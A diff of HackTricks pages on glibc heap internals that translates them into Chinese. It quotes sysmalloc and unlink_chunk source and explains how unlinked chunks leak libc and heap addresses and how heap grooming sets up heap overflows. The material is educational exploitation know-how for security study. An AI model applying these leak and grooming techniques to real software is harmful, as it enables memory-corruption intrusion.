-It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed.
+它开始计算所需的内存量。它将首先请求连续的内存,因此在这种情况下可以使用未使用的旧内存。同时还会执行一些对齐操作。
-sysmalloc main arena
-
+sysmalloc 主区域
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
- else /* av == main_arena */
+else /* av == main_arena */
- { /* Request enough space for nb + pad + overhead */
- size = nb + mp_.top_pad + MINSIZE;
+{ /* Request enough space for nb + pad + overhead */
+size = nb + mp_.top_pad + MINSIZE;
- /*
- If contiguous, we can subtract out existing space that we hope to
- combine with new space. We add it back later only if
- we don't actually get contiguous space.
- */
+/*
+If contiguous, we can subtract out existing space that we hope to
+combine with new space. We add it back later only if
+we don't actually get contiguous space.
+*/
- if (contiguous (av))
- size -= old_size;
+if (contiguous (av))
+size -= old_size;
- /*
- Round to a multiple of page size or huge page size.
- If MORECORE is not contiguous, this ensures that we only call it
- with whole-page arguments. And if MORECORE is contiguous and
- this is not first time through, this preserves page-alignment of
- previous calls. Otherwise, we correct to page-align below.
- */
+/*
+Round to a multiple of page size or huge page size.
+If MORECORE is not contiguous, this ensures that we only call it
+with whole-page arguments. And if MORECORE is contiguous and
+this is not first time through, this preserves page-alignment of
+previous calls. Otherwise, we correct to page-align below.
+*/
#ifdef MADV_HUGEPAGE
- /* Defined in brk.c. */
- extern void *__curbrk;
- if (__glibc_unlikely (mp_.thp_pagesize != 0))
- {
- uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size,
- mp_.thp_pagesize);
- size = top - (uintptr_t) __curbrk;
- }
- else
+/* Defined in brk.c. */
+extern void *__curbrk;
+if (__glibc_unlikely (mp_.thp_pagesize != 0))
+{
+uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size,
+mp_.thp_pagesize);
+size = top - (uintptr_t) __curbrk;
+}
+else
#endif
- size = ALIGN_UP (size, GLRO(dl_pagesize));
+size = ALIGN_UP (size, GLRO(dl_pagesize));
- /*
- Don't try to call MORECORE if argument is so big as to appear
- negative. Note that since mmap takes size_t arg, it may succeed
- below even if we cannot call MORECORE.
- */
+/*
+Don't try to call MORECORE if argument is so big as to appear
+negative. Note that since mmap takes size_t arg, it may succeed
+below even if we cannot call MORECORE.
+*/
- if (size > 0)
- {
- brk = (char *) (MORECORE (size));
- if (brk != (char *) (MORECORE_FAILURE))
- madvise_thp (brk, size);
- LIBC_PROBE (memory_sbrk_more, 2, brk, size);
- }
+if (size > 0)
+{
+brk = (char *) (MORECORE (size));
+if (brk != (char *) (MORECORE_FAILURE))
+madvise_thp (brk, size);
+LIBC_PROBE (memory_sbrk_more, 2, brk, size);
+}
```
-
-### sysmalloc main arena previous error 1
+### sysmalloc 主区域之前的错误 1
-If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback`
+如果之前返回了 `MORECORE_FAILURE`,请再次尝试使用 `sysmalloc_mmap_fallback` 分配内存
-sysmalloc main arena previous error 1
-
+sysmalloc 主区域之前的错误 1
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
if (brk == (char *) (MORECORE_FAILURE))
- {
- /*
- If have mmap, try using it as a backup when MORECORE fails or
- cannot be used. This is worth doing on systems that have "holes" in
- address space, so sbrk cannot extend to give contiguous space, but
- space is available elsewhere. Note that we ignore mmap max count
- and threshold limits, since the space will not be used as a
- segregated mmap region.
- */
+{
+/*
+If have mmap, try using it as a backup when MORECORE fails or
+cannot be used. This is worth doing on systems that have "holes" in
+address space, so sbrk cannot extend to give contiguous space, but
+space is available elsewhere. Note that we ignore mmap max count
+and threshold limits, since the space will not be used as a
+segregated mmap region.
+*/
- char *mbrk = MAP_FAILED;
- if (mp_.hp_pagesize > 0)
- mbrk = sysmalloc_mmap_fallback (&size, nb, old_size,
- mp_.hp_pagesize, mp_.hp_pagesize,
- mp_.hp_flags, av);
- if (mbrk == MAP_FAILED)
- mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE,
- pagesize, 0, av);
- if (mbrk != MAP_FAILED)
- {
- /* We do not need, and cannot use, another sbrk call to find end */
- brk = mbrk;
- snd_brk = brk + size;
- }
- }
+char *mbrk = MAP_FAILED;
+if (mp_.hp_pagesize > 0)
+mbrk = sysmalloc_mmap_fallback (&size, nb, old_size,
+mp_.hp_pagesize, mp_.hp_pagesize,
+mp_.hp_flags, av);
+if (mbrk == MAP_FAILED)
+mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE,
+pagesize, 0, av);
+if (mbrk != MAP_FAILED)
+{
+/* We do not need, and cannot use, another sbrk call to find end */
+brk = mbrk;
+snd_brk = brk + size;
+}
+}
```
-
-### sysmalloc main arena continue
+### sysmalloc 主区域继续
-If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments:
+如果之前没有返回 `MORECORE_FAILURE`,如果成功则创建一些对齐:
-sysmalloc main arena previous error 2
-
+sysmalloc 主区域之前的错误 2
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
if (brk != (char *) (MORECORE_FAILURE))
- {
- if (mp_.sbrk_base == 0)
- mp_.sbrk_base = brk;
- av->system_mem += size;
+{
+if (mp_.sbrk_base == 0)
+mp_.sbrk_base = brk;
+av->system_mem += size;
- /*
- If MORECORE extends previous space, we can likewise extend top size.
- */
+/*
+If MORECORE extends previous space, we can likewise extend top size.
+*/
- if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
- set_head (old_top, (size + old_size) | PREV_INUSE);
+if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
+set_head (old_top, (size + old_size) | PREV_INUSE);
- else if (contiguous (av) && old_size && brk < old_end)
- /* Oops! Someone else killed our space.. Can't touch anything. */
- malloc_printerr ("break adjusted to free malloc space");
+else if (contiguous (av) && old_size && brk < old_end)
+/* Oops! Someone else killed our space.. Can't touch anything. */
+malloc_printerr ("break adjusted to free malloc space");
- /*
- Otherwise, make adjustments:
+/*
+Otherwise, make adjustments:
- * If the first time through or noncontiguous, we need to call sbrk
- just to find out where the end of memory lies.
+* If the first time through or noncontiguous, we need to call sbrk
+just to find out where the end of memory lies.
- * We need to ensure that all returned chunks from malloc will meet
- MALLOC_ALIGNMENT
+* We need to ensure that all returned chunks from malloc will meet
+MALLOC_ALIGNMENT
- * If there was an intervening foreign sbrk, we need to adjust sbrk
- request size to account for fact that we will not be able to
- combine new space with existing space in old_top.
+* If there was an intervening foreign sbrk, we need to adjust sbrk
+request size to account for fact that we will not be able to
+combine new space with existing space in old_top.
- * Almost all systems internally allocate whole pages at a time, in
- which case we might as well use the whole last page of request.
- So we allocate enough more memory to hit a page boundary now,
- which in turn causes future contiguous calls to page-align.
- */
+* Almost all systems internally allocate whole pages at a time, in
+which case we might as well use the whole last page of request.
+So we allocate enough more memory to hit a page boundary now,
+which in turn causes future contiguous calls to page-align.
+*/
- else
- {
- front_misalign = 0;
- end_misalign = 0;
- correction = 0;
- aligned_brk = brk;
+else
+{
+front_misalign = 0;
+end_misalign = 0;
+correction = 0;
+aligned_brk = brk;
- /* handle contiguous cases */
- if (contiguous (av))
- {
- /* Count foreign sbrk as system_mem. */
- if (old_size)
- av->system_mem += brk - old_end;
+/* handle contiguous cases */
+if (contiguous (av))
+{
+/* Count foreign sbrk as system_mem. */
+if (old_size)
+av->system_mem += brk - old_end;
- /* Guarantee alignment of first new chunk made from this space */
+/* Guarantee alignment of first new chunk made from this space */
- front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
- if (front_misalign > 0)
- {
- /*
- Skip over some bytes to arrive at an aligned position.
- We don't need to specially mark these wasted front bytes.
- They will never be accessed anyway because
- prev_inuse of av->top (and any chunk created from its start)
- is always true after initialization.
- */
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
+if (front_misalign > 0)
+{
+/*
+Skip over some bytes to arrive at an aligned position.
+We don't need to specially mark these wasted front bytes.
+They will never be accessed anyway because
+prev_inuse of av->top (and any chunk created from its start)
+is always true after initialization.
+*/
- correction = MALLOC_ALIGNMENT - front_misalign;
- aligned_brk += correction;
- }
+correction = MALLOC_ALIGNMENT - front_misalign;
+aligned_brk += correction;
+}
- /*
- If this isn't adjacent to existing space, then we will not
- be able to merge with old_top space, so must add to 2nd request.
- */
+/*
+If this isn't adjacent to existing space, then we will not
+be able to merge with old_top space, so must add to 2nd request.
+*/
- correction += old_size;
+correction += old_size;
- /* Extend the end address to hit a page boundary */
- end_misalign = (INTERNAL_SIZE_T) (brk + size + correction);
- correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign;
+/* Extend the end address to hit a page boundary */
+end_misalign = (INTERNAL_SIZE_T) (brk + size + correction);
+correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign;
- assert (correction >= 0);
- snd_brk = (char *) (MORECORE (correction));
+assert (correction >= 0);
+snd_brk = (char *) (MORECORE (correction));
- /*
- If can't allocate correction, try to at least find out current
- brk. It might be enough to proceed without failing.
+/*
+If can't allocate correction, try to at least find out current
+brk. It might be enough to proceed without failing.
- Note that if second sbrk did NOT fail, we assume that space
- is contiguous with first sbrk. This is a safe assumption unless
- program is multithreaded but doesn't use locks and a foreign sbrk
- occurred between our first and second calls.
- */
+Note that if second sbrk did NOT fail, we assume that space
+is contiguous with first sbrk. This is a safe assumption unless
+program is multithreaded but doesn't use locks and a foreign sbrk
+occurred between our first and second calls.
+*/
- if (snd_brk == (char *) (MORECORE_FAILURE))
- {
- correction = 0;
- snd_brk = (char *) (MORECORE (0));
- }
- else
- madvise_thp (snd_brk, correction);
- }
+if (snd_brk == (char *) (MORECORE_FAILURE))
+{
+correction = 0;
+snd_brk = (char *) (MORECORE (0));
+}
+else
+madvise_thp (snd_brk, correction);
+}
- /* handle non-contiguous cases */
- else
- {
- if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
- /* MORECORE/mmap must correctly align */
- assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
- else
- {
- front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
- if (front_misalign > 0)
- {
- /*
- Skip over some bytes to arrive at an aligned position.
- We don't need to specially mark these wasted front bytes.
- They will never be accessed anyway because
- prev_inuse of av->top (and any chunk created from its start)
- is always true after initialization.
- */
+/* handle non-contiguous cases */
+else
+{
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+/* MORECORE/mmap must correctly align */
+assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
+else
+{
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
+if (front_misalign > 0)
+{
+/*
+Skip over some bytes to arrive at an aligned position.
+We don't need to specially mark these wasted front bytes.
+They will never be accessed anyway because
+prev_inuse of av->top (and any chunk created from its start)
+is always true after initialization.
+*/
- aligned_brk += MALLOC_ALIGNMENT - front_misalign;
- }
- }
+aligned_brk += MALLOC_ALIGNMENT - front_misalign;
+}
+}
- /* Find out current end of memory */
- if (snd_brk == (char *) (MORECORE_FAILURE))
- {
- snd_brk = (char *) (MORECORE (0));
- }
- }
+/* Find out current end of memory */
+if (snd_brk == (char *) (MORECORE_FAILURE))
+{
+snd_brk = (char *) (MORECORE (0));
+}
+}
- /* Adjust top based on results of second sbrk */
- if (snd_brk != (char *) (MORECORE_FAILURE))
- {
- av->top = (mchunkptr) aligned_brk;
- set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
- av->system_mem += correction;
+/* Adjust top based on results of second sbrk */
+if (snd_brk != (char *) (MORECORE_FAILURE))
+{
+av->top = (mchunkptr) aligned_brk;
+set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
+av->system_mem += correction;
- /*
- If not the first time through, we either have a
- gap due to foreign sbrk or a non-contiguous region. Insert a
- double fencepost at old_top to prevent consolidation with space
- we don't own. These fenceposts are artificial chunks that are
- marked as inuse and are in any case too small to use. We need
- two to make sizes and alignments work out.
- */
+/*
+If not the first time through, we either have a
+gap due to foreign sbrk or a non-contiguous region. Insert a
+double fencepost at old_top to prevent consolidation with space
+we don't own. These fenceposts are artificial chunks that are
+marked as inuse and are in any case too small to use. We need
+two to make sizes and alignments work out.
+*/
- if (old_size != 0)
- {
- /*
- Shrink old_top to insert fenceposts, keeping size a
- multiple of MALLOC_ALIGNMENT. We know there is at least
- enough space in old_top to do this.
- */
- old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
- set_head (old_top, old_size | PREV_INUSE);
+if (old_size != 0)
+{
+/*
+Shrink old_top to insert fenceposts, keeping size a
+multiple of MALLOC_ALIGNMENT. We know there is at least
+enough space in old_top to do this.
+*/
+old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
+set_head (old_top, old_size | PREV_INUSE);
- /*
- Note that the following assignments completely overwrite
- old_top when old_size was previously MINSIZE. This is
- intentional. We need the fencepost, even if old_top otherwise gets
- lost.
- */
- set_head (chunk_at_offset (old_top, old_size),
- CHUNK_HDR_SZ | PREV_INUSE);
- set_head (chunk_at_offset (old_top,
- old_size + CHUNK_HDR_SZ),
- CHUNK_HDR_SZ | PREV_INUSE);
+/*
+Note that the following assignments completely overwrite
+old_top when old_size was previously MINSIZE. This is
+intentional. We need the fencepost, even if old_top otherwise gets
+lost.
+*/
+set_head (chunk_at_offset (old_top, old_size),
+CHUNK_HDR_SZ | PREV_INUSE);
+set_head (chunk_at_offset (old_top,
+old_size + CHUNK_HDR_SZ),
+CHUNK_HDR_SZ | PREV_INUSE);
- /* If possible, release the rest. */
- if (old_size >= MINSIZE)
- {
- _int_free (av, old_top, 1);
- }
- }
- }
- }
- }
- } /* if (av != &main_arena) */
+/* If possible, release the rest. */
+if (old_size >= MINSIZE)
+{
+_int_free (av, old_top, 1);
+}
+}
+}
+}
+}
+} /* if (av != &main_arena) */
```
-
### sysmalloc finale
-Finish the allocation updating the arena information
-
+完成分配,更新区域信息
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem))
- av->max_system_mem = av->system_mem;
- check_malloc_state (av);
+av->max_system_mem = av->system_mem;
+check_malloc_state (av);
- /* finally, do the allocation */
- p = av->top;
- size = chunksize (p);
+/* finally, do the allocation */
+p = av->top;
+size = chunksize (p);
- /* check that one of the above allocation paths succeeded */
- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
- {
- remainder_size = size - nb;
- remainder = chunk_at_offset (p, nb);
- av->top = remainder;
- set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- check_malloced_chunk (av, p, nb);
- return chunk2mem (p);
- }
+/* check that one of the above allocation paths succeeded */
+if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
+{
+remainder_size = size - nb;
+remainder = chunk_at_offset (p, nb);
+av->top = remainder;
+set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+check_malloced_chunk (av, p, nb);
+return chunk2mem (p);
+}
- /* catch all failure paths */
- __set_errno (ENOMEM);
- return 0;
+/* catch all failure paths */
+__set_errno (ENOMEM);
+return 0;
```
-
## sysmalloc_mmap
-sysmalloc_mmap code
-
+sysmalloc_mmap 代码
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2
static void *
sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av)
{
- long int size;
+long int size;
- /*
- Round up size to nearest page. For mmapped chunks, the overhead is one
- SIZE_SZ unit larger than for normal chunks, because there is no
- following chunk whose prev_size field could be used.
+/*
+Round up size to nearest page. For mmapped chunks, the overhead is one
+SIZE_SZ unit larger than for normal chunks, because there is no
+following chunk whose prev_size field could be used.
- See the front_misalign handling below, for glibc there is no need for
- further alignments unless we have have high alignment.
- */
- if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
- size = ALIGN_UP (nb + SIZE_SZ, pagesize);
- else
- size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
+See the front_misalign handling below, for glibc there is no need for
+further alignments unless we have have high alignment.
+*/
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+size = ALIGN_UP (nb + SIZE_SZ, pagesize);
+else
+size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
- /* Don't try if size wraps around 0. */
- if ((unsigned long) (size) <= (unsigned long) (nb))
- return MAP_FAILED;
+/* Don't try if size wraps around 0. */
+if ((unsigned long) (size) <= (unsigned long) (nb))
+return MAP_FAILED;
- char *mm = (char *) MMAP (0, size,
- mtag_mmap_flags | PROT_READ | PROT_WRITE,
- extra_flags);
- if (mm == MAP_FAILED)
- return mm;
+char *mm = (char *) MMAP (0, size,
+mtag_mmap_flags | PROT_READ | PROT_WRITE,
+extra_flags);
+if (mm == MAP_FAILED)
+return mm;
#ifdef MAP_HUGETLB
- if (!(extra_flags & MAP_HUGETLB))
- madvise_thp (mm, size);
+if (!(extra_flags & MAP_HUGETLB))
+madvise_thp (mm, size);
#endif
- __set_vma_name (mm, size, " glibc: malloc");
+__set_vma_name (mm, size, " glibc: malloc");
- /*
- The offset to the start of the mmapped region is stored in the prev_size
- field of the chunk. This allows us to adjust returned start address to
- meet alignment requirements here and in memalign(), and still be able to
- compute proper address argument for later munmap in free() and realloc().
- */
+/*
+The offset to the start of the mmapped region is stored in the prev_size
+field of the chunk. This allows us to adjust returned start address to
+meet alignment requirements here and in memalign(), and still be able to
+compute proper address argument for later munmap in free() and realloc().
+*/
- INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
+INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
- if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
- {
- /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and
- MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page
- aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */
- assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
- front_misalign = 0;
- }
- else
- front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+{
+/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and
+MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page
+aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */
+assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
+front_misalign = 0;
+}
+else
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
- mchunkptr p; /* the allocated/returned chunk */
+mchunkptr p; /* the allocated/returned chunk */
- if (front_misalign > 0)
- {
- ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign;
- p = (mchunkptr) (mm + correction);
- set_prev_size (p, correction);
- set_head (p, (size - correction) | IS_MMAPPED);
- }
- else
- {
- p = (mchunkptr) mm;
- set_prev_size (p, 0);
- set_head (p, size | IS_MMAPPED);
- }
+if (front_misalign > 0)
+{
+ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign;
+p = (mchunkptr) (mm + correction);
+set_prev_size (p, correction);
+set_head (p, (size - correction) | IS_MMAPPED);
+}
+else
+{
+p = (mchunkptr) mm;
+set_prev_size (p, 0);
+set_head (p, size | IS_MMAPPED);
+}
- /* update statistics */
- int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1;
- atomic_max (&mp_.max_n_mmaps, new);
+/* update statistics */
+int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1;
+atomic_max (&mp_.max_n_mmaps, new);
- unsigned long sum;
- sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size;
- atomic_max (&mp_.max_mmapped_mem, sum);
+unsigned long sum;
+sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size;
+atomic_max (&mp_.max_mmapped_mem, sum);
- check_chunk (av, p);
+check_chunk (av, p);
- return chunk2mem (p);
+return chunk2mem (p);
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
index 7d26f6546..1d3f7621b 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
@@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-### Code
-
+### 代码
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
- if (chunksize (p) != prev_size (next_chunk (p)))
- malloc_printerr ("corrupted size vs. prev_size");
+if (chunksize (p) != prev_size (next_chunk (p)))
+malloc_printerr ("corrupted size vs. prev_size");
- mchunkptr fd = p->fd;
- mchunkptr bk = p->bk;
+mchunkptr fd = p->fd;
+mchunkptr bk = p->bk;
- if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
- malloc_printerr ("corrupted double-linked list");
+if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
+malloc_printerr ("corrupted double-linked list");
- fd->bk = bk;
- bk->fd = fd;
- if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
- {
- if (p->fd_nextsize->bk_nextsize != p
- || p->bk_nextsize->fd_nextsize != p)
- malloc_printerr ("corrupted double-linked list (not small)");
+fd->bk = bk;
+bk->fd = fd;
+if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
+{
+if (p->fd_nextsize->bk_nextsize != p
+|| p->bk_nextsize->fd_nextsize != p)
+malloc_printerr ("corrupted double-linked list (not small)");
- // Added: If the FD is not in the nextsize list
- if (fd->fd_nextsize == NULL)
- {
+// Added: If the FD is not in the nextsize list
+if (fd->fd_nextsize == NULL)
+{
- if (p->fd_nextsize == p)
- fd->fd_nextsize = fd->bk_nextsize = fd;
- else
- // Link the nexsize list in when removing the new chunk
- {
- fd->fd_nextsize = p->fd_nextsize;
- fd->bk_nextsize = p->bk_nextsize;
- p->fd_nextsize->bk_nextsize = fd;
- p->bk_nextsize->fd_nextsize = fd;
- }
- }
- else
- {
- p->fd_nextsize->bk_nextsize = p->bk_nextsize;
- p->bk_nextsize->fd_nextsize = p->fd_nextsize;
- }
- }
+if (p->fd_nextsize == p)
+fd->fd_nextsize = fd->bk_nextsize = fd;
+else
+// Link the nexsize list in when removing the new chunk
+{
+fd->fd_nextsize = p->fd_nextsize;
+fd->bk_nextsize = p->bk_nextsize;
+p->fd_nextsize->bk_nextsize = fd;
+p->bk_nextsize->fd_nextsize = fd;
+}
+}
+else
+{
+p->fd_nextsize->bk_nextsize = p->bk_nextsize;
+p->bk_nextsize->fd_nextsize = p->fd_nextsize;
+}
+}
}
```
+### 图形解释
-### Graphical Explanation
-
-Check this great graphical explanation of the unlink process:
+查看这个关于 unlink 过程的精彩图形解释:
-### Security Checks
+### 安全检查
-- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
-- Check also that `P->fd->bk == P` and `P->bk->fw == P`
-- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
+- 检查块的指示大小是否与下一个块中指示的 prev_size 相同
+- 还要检查 `P->fd->bk == P` 和 `P->bk->fw == P`
+- 如果块不是小块,检查 `P->fd_nextsize->bk_nextsize == P` 和 `P->bk_nextsize->fd_nextsize == P`
-### Leaks
+### 泄漏
-An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
+未链接的块不会清理分配的地址,因此访问它可以泄漏一些有趣的地址:
-Libc Leaks:
+Libc 泄漏:
-- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
-- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
-- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
+- 如果 P 位于双向链表的头部,`bk` 将指向 libc 中的 `malloc_state`
+- 如果 P 位于双向链表的末尾,`fd` 将指向 libc 中的 `malloc_state`
+- 当双向链表仅包含一个空闲块时,P 在双向链表中,`fd` 和 `bk` 都可以泄漏 `malloc_state` 内部的地址。
-Heap leaks:
+堆泄漏:
-- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
-- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
-- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
+- 如果 P 位于双向链表的头部,`fd` 将指向堆中的一个可用块
+- 如果 P 位于双向链表的末尾,`bk` 将指向堆中的一个可用块
+- 如果 P 在双向链表中,`fd` 和 `bk` 都将指向堆中的一个可用块
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index 24ea86a70..50a967e2d 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -1,50 +1,48 @@
-# Heap Overflow
+# 堆溢出
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
+堆溢出类似于 [**栈溢出**](../stack-overflow/),但发生在堆中。基本上,这意味着在堆中保留了一些空间来存储数据,而 **存储的数据大于保留的空间。**
-In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
+在栈溢出中,我们知道一些寄存器,如指令指针或栈帧,将从栈中恢复,并且可能会被滥用。在堆溢出的情况下,**默认情况下堆块中没有存储任何敏感信息**,因此可以被溢出。然而,它可能是敏感信息或指针,因此这种漏洞的 **严重性** **取决于** **可以被覆盖的数据** 以及攻击者如何利用这一点。
> [!TIP]
-> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
+> 为了找到溢出偏移量,您可以使用与 [**栈溢出**](../stack-overflow/#finding-stack-overflows-offsets) 相同的模式。
-### Stack Overflows vs Heap Overflows
+### 栈溢出与堆溢出
-In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
+在栈溢出中,触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的,总是增加在碰撞内存中,在 **程序运行的特定位置,栈内存通常存储类似类型的数据**,并且它具有一些特定的结构,末尾有一些指向每个函数使用的栈部分的指针。
-However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
+然而,在堆溢出的情况下,使用的内存不是线性的,而是 **分配的块通常位于内存的不同位置**(而不是一个接一个),因为 **bins 和 zones** 按大小分隔分配,并且因为 **先前释放的内存在分配新块之前被使用**。因此,**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此,当发现堆溢出时,需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**。
-One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
+用于此的一种技术是 **Heap Grooming**,例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。在文章中解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时,它通过一个内核页面进行扩展,并且该页面被分割成预期大小的块,这些块将按顺序使用(直到 iOS 版本 9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。
-Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
+因此,在发生堆溢出的前一篇文章中,为了强制溢出的对象与受害者对象发生碰撞,多个 **`kallocs` 被多个线程强制执行,以确保所有空闲块都被填满,并且创建一个新页面**。
